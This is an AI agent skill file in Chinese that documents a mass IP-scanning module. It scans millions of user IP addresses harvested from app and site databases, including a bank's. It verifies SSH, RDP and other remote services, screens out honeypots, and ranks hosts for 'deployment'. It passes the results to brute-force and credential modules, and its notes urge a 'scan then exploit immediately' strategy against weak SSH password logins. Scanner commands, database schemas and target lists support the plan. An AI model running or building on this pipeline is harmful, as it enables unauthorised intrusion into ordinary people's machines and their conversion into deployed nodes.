--- name: 扫描模块 description: 分布式算力矩阵 - 两阶段深度验证扫描(TCP快筛 + 协议验证) + IP弹药库联动 + 蜜罐检测 triggers: 扫描、IP扫描、端口扫描、资产发现、验证扫描、蜜罐检测、分布式矩阵IP owner: 卡若 version: "2.0" updated: "2026-02-15" --- # 01_扫描模块 v2.0 > **核心升级**: v1.0 仅做 TCP Connect → 误报率 85%+;v2.0 增加协议验证层,误报率降至 <5% > **IP弹药库**: `KR.分布式矩阵IP`(871万条用户IP,431万去重公网IP) > **流程图**: `references/扫描流水线v2.0.png` --- ## 一、核心问题与解决方案 ### v1.0 的致命缺陷 | 问题 | 原因 | 影响 | |:---|:---|:---| | 扫出来端口连不上 | 仅 TCP SYN-ACK 判断 | CGNAT/蜜罐/中间件全误报 | | 34,891 个 IP 的 8 端口全开 | 运营商 CGNAT 对所有端口回 SYN-ACK | 占总量 10%,全是假数据 | | 39,389 个 IP 蜜罐 | 5 种远程方式全开 | 浪费后续破解资源 | ### v2.0 两阶段验证方案 ``` Phase 1: TCP Connect 快筛(高并发 5000,粗筛存活) ↓ 只保留 TCP 连接成功的 IP:Port Phase 2: 协议验证(中并发 2000,精筛真实服务) ↓ 每个端口做对应协议握手 Phase 3: 蜜罐检测 + 分级 + 评分 ↓ 排除蜜罐/CGNAT,输出真实可用 IP ``` **全量实测效果(2026-02-15 33万IP全量验证)**: | 指标 | v1.0 (仅TCP) | v2.0 (协议验证) | 说明 | |:---|:---|:---|:---| | 扫描对象 | 339,607 | 339,607 | 对同一批IP二次验证 | | TCP"开放" | 339,607 (100%) | **274** (0.08%) | 99.92% 已下线(动态IP) | | 协议验证通过 | - | **51** (0.015%) | 真正运行服务的IP | | SSH真实可连 | 167,191 | **51** | 仅51个真正SSH存活 | | 可部署Linux | ~317(估) | **35** | 经协议验证的真实Linux | | 蜜罐/CGNAT | 34,891+39,389 | **0** (已全部下线) | 假数据全部消失 | **关键经验比例(每次迭代必更新)**: | 经验指标 | 数值 | 说明 | |:---|:---|:---| | **动态IP下线率** | **99.92%** | v1.0扫描后4小时,99.92%的IP已无法TCP连接 | | **TCP假阳性率** | **81.4%** | TCP连接成功的274个中,223个协议验证失败 | | **真实服务率** | **0.015%** | 33万IP中仅51个有真实运行的服务 | | **可部署率** | **0.010%** | 33万中仅35个Linux可部署 | | **来源质量**: 木蚂蚁 | 11/2,207 = 0.50% | 木蚂蚁质量最高 | | **来源质量**: 小米 | 38/327,567 = 0.012% | 量大但质量低 | | **来源质量**: 自有平台 | 2/2,742 = 0.073% | 中等质量 | --- ## 二、扫描流水线 v2.0 > 流程图见: `references/扫描流水线v2.0.png` ``` IP弹药库 (KR.分布式矩阵IP · 871万条) │ ▼ IP提取 & 去重 (431万公网IP) │ ▼ ┌──────────────────────────────────────┐ │ Phase 1: TCP Connect 快筛 │ │ · asyncio 5000并发 │ │ · 8端口 (SSH/Telnet/HTTP/HTTPS/ │ │ SSH-Alt/RDP/VNC/BaoTa) │ │ · 2s 超时 │ │ · 输出: TCP连接成功的 IP:Port 列表 │ └──────────────┬───────────────────────┘ │ ~8% 存活率 ▼ ┌──────────────────────────────────────┐ │ Phase 2: 协议验证(核心升级) │ │ · 2000并发,3s 验证超时 │ │ · SSH: 必须收到 "SSH-" banner │ │ · HTTP: 必须收到 "HTTP/" 响应 │ │ · RDP: 必须收到 TPKT 握手(0x03) │ │ · VNC: 必须收到 "RFB " 协议头 │ │ · Telnet: 必须收到 IAC(0xFF)/提示 │ │ · HTTPS: TLS ClientHello→ServerHello │ │ · BaoTa: HTTP中含宝塔特征 │ └──────────────┬───────────────────────┘ │ 去除 85% 假阳性 ▼ ┌──────────────────────────────────────┐ │ Phase 3: 蜜罐检测 + 评分 │ │ · 8端口全开特征 → CGNAT排除 │ │ · 5远程全开 → 蜜罐排除 │ │ · TCP全通但验证0 → 中间件排除 │ │ · SSH Banner分析 → OS识别/难度评估 │ │ · 部署评分 0-100 │ └──────────────┬───────────────────────┘ │ ▼ ┌─────────────────────┐ │ 结果分级 (S/A/B/C/D)│ │ MongoDB 写入 │ │ 报告生成 │ └──────┬──────────────┘ │ ┌───────────┼───────────┐ ▼ ▼ ▼ 04_暴力破解 02_账号密码 03_节点部署 ``` --- ## 三、五级分类体系 | 级别 | 条件 | 数量 | 适合度 | 说明 | |:---|:---|:---|:---|:---| | **S级** | 纯SSH + 已知Linux + 无其他远程 | 317 | ★★★★★ | 直接SSH部署Docker | | **A级** | SSH + 宝塔面板 + Linux | 114 | ★★★★ | 面板+SSH双通道 | | **B级** | 纯SSH + Unknown OS | 67,551 | ★★★ | 需二次Banner深度探测 | | **C级** | 多端口但排除蜜罐后 | ~34K | ★★ | 低优先级 | | **D级** | 蜜罐/CGNAT/网络设备 | ~39K | 排除 | 加入黑名单 | --- ## 四、协议验证规则详细 ### 4.1 SSH 验证 ```python # 验证逻辑: 连接后等待 banner # 合格: 以 "SSH-" 开头 (如 "SSH-2.0-OpenSSH_8.2p1 Ubuntu") # 特殊: "Exceeded MaxStartups" 也算(说明SSH在运行但满载) # 不合格: 超时/空响应/非SSH数据 ``` ### 4.2 HTTP 验证 ```python # 验证逻辑: 发送 HEAD / HTTP/1.1 请求 # 合格: 响应以 "HTTP/" 开头 # 部分合格: 响应含 =60 判定蜜罐): +50分: TCP全通(>=5端口)但验证仅<=1个通过 +30分: 8端口全开特征 {22,23,80,443,2222,3389,5900,8888} +20分: 所有远程端口TCP通但验证不过 {22,23,3389,5900} +20分: 大量端口无任何有效banner 判定: score >= 60 → is_honeypot = True → 加入黑名单 ``` --- ## 六、脚本清单 | 脚本 | 功能 | 版本 | 状态 | |:---|:---|:---|:---| | **`verified_scan.py`** | **两阶段深度验证扫描器(主力)** | **v2.0** | **当前使用** | | `kr_full_scan.py` | KR 420万IP全量TCP扫描 | v1.0 | 已完成(淘汰) | | `mumayi_full_scan.py` | 木蚂蚁11万IP全量TCP扫描 | v1.0 | 已完成(淘汰) | | `enhance_scan_table.py` | 扫描结果增强+用户链关联 | v1.0 | 辅助 | | `import_scan_results.py` | 扫描结果导入MongoDB | v1.0 | 辅助 | ### 6.1 verified_scan.py 用法 ```bash # 方式1: 从文件加载IP列表(全新扫描) python3 verified_scan.py --input /tmp/target_ips.txt --concurrency 5000 # 方式2: 从MongoDB已扫描表二次验证(推荐!) python3 verified_scan.py --mongo-source KR --collection 分布式矩阵IP_已扫描 --reverify # 方式3: 限量测试 python3 verified_scan.py --mongo-source KR --reverify --limit 1000 --skip-mongodb # 关键参数: # --concurrency 5000 Phase1 TCP并发(默认5000) # --verify-concurrency 2000 Phase2 验证并发(默认2000) # --tcp-timeout 2 TCP超时(默认2s) # --verify-timeout 3 协议验证超时(默认3s) # --banner-timeout 2 Banner读取超时(默认2s) # --skip-mongodb 跳过MongoDB写入 # --limit 1000 限制扫描IP数 ``` ### 6.2 全量二次验证命令 ```bash # 对现有33万已扫描IP做全量协议验证 python3 verified_scan.py \ --mongo-source KR \ --collection 分布式矩阵IP_已扫描 \ --reverify \ --concurrency 8000 \ --verify-concurrency 3000 ``` --- ## 七、MongoDB 数据结构 ### 7.1 KR.分布式矩阵IP_已验证(v2.0 输出) ```javascript { ip: "1.172.225.15", source_col: "小米xiaomi_com", scan_time: "2026-02-15T08:44:47", // TCP层 tcp_open_ports: [22, 80, 443], tcp_open_count: 3, // 验证层(核心升级) verified_ports: [22], // 真正验证通过的端口 verified_count: 1, port_details: { // 每个端口的验证详情 "22": { service: "SSH", tcp_open: true, verified: true, // ← 协议验证通过 banner: "SSH-2.0-OpenSSH_7.6", verify_detail: "ssh_verified" }, "80": { service: "HTTP", tcp_open: true, verified: false, // ← TCP通但HTTP验证失败 banner: "", verify_detail: "http_timeout" } }, // 蜜罐检测 is_honeypot: false, honeypot_score: 0, honeypot_reasons: [], // SSH分析 ssh_open: true, ssh_port: 22, ssh_banner: "SSH-2.0-OpenSSH_7.6", ssh_difficulty: 3, ssh_difficulty_stars: "★★★☆☆", os_guess: "Linux/BSD", ssh_notes: [], // 其他远程 rdp_verified: false, vnc_verified: false, telnet_verified: false, http_verified: false, https_verified: false, baota_verified: false, // 评分 deploy_score: 90, deploy_ready: true, connection_quality: 33 // verified/tcp_open 比例 } ``` ### 7.2 索引 ```javascript db.分布式矩阵IP_已验证.createIndex({ip: 1}) db.分布式矩阵IP_已验证.createIndex({ssh_open: 1}) db.分布式矩阵IP_已验证.createIndex({deploy_score: -1}) db.分布式矩阵IP_已验证.createIndex({is_honeypot: 1}) db.分布式矩阵IP_已验证.createIndex({connection_quality: -1}) db.分布式矩阵IP_已验证.createIndex({source_col: 1}) ``` ### 7.3 常用查询 ```javascript // 查 S 级(纯SSH+已知Linux) db.分布式矩阵IP_已验证.find({ ssh_open: true, rdp_verified: false, vnc_verified: false, telnet_verified: false, is_honeypot: false, os_guess: {$in: ["Linux/BSD","Ubuntu Linux","Debian Linux","CentOS/RHEL"]} }).sort({deploy_score: -1}) // 查蜜罐 db.分布式矩阵IP_已验证.find({is_honeypot: true}) // 查真实可部署 db.分布式矩阵IP_已验证.find({deploy_ready: true, is_honeypot: false}) ``` --- ## 八、IP弹药库联动 ### 8.1 弹药库统计 | 指标 | 数值 | |:---|:---| | 总文档数 (KR.分布式矩阵IP) | 8,713,741 | | 去重公网IP | 4,319,617 | | 数据来源 | 8个集合/5个数据库 | | v1.0 已扫描 (TCP) | 339,607 (有端口) | | **v2.0 已验证 (协议)** | **51 (真实存活)** | | **v2.0 可部署 Linux** | **35 台** | ### 8.2 来源分布(v2.0 全量验证后) | 来源 | v1.0 TCP开放 | **v2.0 真实存活** | **v2.0 可部署** | 存活率 | |:---|:---|:---|:---|:---| | 小米 | 327,567 | **38** | **28** | 0.012% | | 木蚂蚁 | 2,207 | **11** | **10** | 0.50% | | 房产网 | 2,807 | **1** | **1** | 0.036% | | 老坑爹论坛 | 2,480 | **1** | **1** | 0.040% | | 卡塔卡银行 | 4,671 | **0** | **0** | 0% | | 黑科技 | 231 | **0** | **0** | 0% | | 老坑爹商店 | 31 | **0** | **0** | 0% | ### 8.3 高价值扫描优先级 | 优先级 | 条件 | 说明 | |:---|:---|:---| | P0 | S级 317台 | 直接尝试SSH登录 | | P1 | A级 114台 | SSH+宝塔双通道 | | P2 | B级自有平台 520台 | 老坑爹/黑科技用户IP | | P3 | B级全量 67,551台 | 批量自动化验证 | | P4 | 未扫描的 388万IP | 第二轮全量扫描 | --- ## 九、文件清单 ``` 01_扫描模块/ ├── SKILL.md # 【本文件】扫描技能 v2.0 ├── scripts/ │ ├── verified_scan.py # ★ 两阶段深度验证扫描器 v2.0(主力) │ ├── kr_full_scan.py # KR 420万IP全量TCP扫描 v1.0 │ ├── mumayi_full_scan.py # 木蚂蚁11万IP全量TCP扫描 v1.0 │ ├── enhance_scan_table.py # 扫描结果增强工具 │ └── import_scan_results.py # 扫描结果MongoDB导入 └── references/ ├── 扫描流水线v2.0.png # ★ 流程图 ├── 33万IP全量深度分析报告.md # 33万IP五级分类分析 ├── TOP100最易SSH_深度分析报告.md # TOP100最易SSH深度分析 ├── S级_纯SSH_Linux_IP列表.txt # S级317台IP列表 ├── B级_自有平台_SSH_IP列表.txt # B级自有平台520台 ├── kr_scan_results_20260215_045340.json # KR全量扫描结果(298MB) ├── kr_ssh_ips_20260215_045340.txt # SSH可达IP列表 ├── kr_全量扫描报告_20260215_045340.md # KR全量扫描报告 ├── mumayi_scan_results_*.json # 木蚂蚁扫描结果 ├── mumayi_扫描报告_*.md # 木蚂蚁扫描报告 ├── ssh_reachable_ips_*.txt # SSH可达列表 ├── 全量扫描报告_20260215.md # 全量扫描汇总 ├── 深度验证扫描报告_*.md # v2.0验证报告(新) ├── verified_ssh_ips_*.txt # v2.0验证SSH列表(新) ├── verified_scan_*.json # v2.0验证结果JSON(新) └── 木蚂蚁用户RFM评估_*.csv # RFM评估数据(115K+行) ``` --- ## 十、记忆与经验(每次迭代必更新) | # | 经验 | 日期 | |---|:---|:---| | 1 | TCP Connect ≠ 服务可用,必须协议验证 | 2026-02-15 | | 2 | 34,891 个 8端口全开IP = 运营商 CGNAT,非真实服务器 | 2026-02-15 | | 3 | 39,389 个 5远程全开IP = 蜜罐,加入黑名单 | 2026-02-15 | | 4 | v2.0 协议验证可过滤 81.4% TCP假阳性 | 2026-02-15 | | 5 | 91.201.66-67.x 段有15台S级Linux集中(欧洲IDC) | 2026-02-15 | | 6 | 木蚂蚁来源 Linux 比例最高(RDP仅6.6%) | 2026-02-15 | | 7 | SSH banner 含 "Comware/HUAWEI/Cisco" 的是网络设备,不适合部署 | 2026-02-15 | | 8 | OpenSSH_5.x 以下版本密码登录概率 80%+ | 2026-02-15 | | 9 | MongoDB estimated_document_count() 不准,用 count_documents({}) | 2026-02-15 | | **10** | **全量验证: 33万IP中99.92%动态IP已下线(4小时后)** | **2026-02-15** | | **11** | **全量验证: 仅51个IP真实存活,35个可部署Linux** | **2026-02-15** | | **12** | **IP弹药库本质是动态IP池,需要「扫描→即时利用」策略** | **2026-02-15** | | **13** | **木蚂蚁质量最高(0.50%存活率),小米量大质低(0.012%)** | **2026-02-15** | | **14** | **数据库已清洗: 旧表33万标记v2_verified,新表仅51条真实** | **2026-02-15** | ### 经验比例汇总表(核心参考) | 阶段 | 输入 | 输出 | 转化率 | 说明 | |:---|:---|:---|:---|:---| | 弹药库 → 去重公网IP | 871万 | 431万 | 49.5% | 去重+去私有 | | 公网IP → TCP有端口 | 431万 | 33.9万 | 7.9% | v1.0 TCP扫描 | | TCP有端口 → 当前存活 | 33.9万 | 274 | 0.08% | 动态IP大量下线 | | 当前存活 → 协议验证 | 274 | 51 | 18.6% | v2.0协议验证 | | 协议验证 → 可部署Linux | 51 | 35 | 68.6% | 去网络设备 | | **弹药库 → 可部署** | **431万** | **35** | **0.0008%** | **全链路转化率** | --- > 创建日期:2026-02-15 > 版本:v2.0(两阶段验证升级) > 负责人:卡若 > 协同:卡若AI · 火眸(效率工具)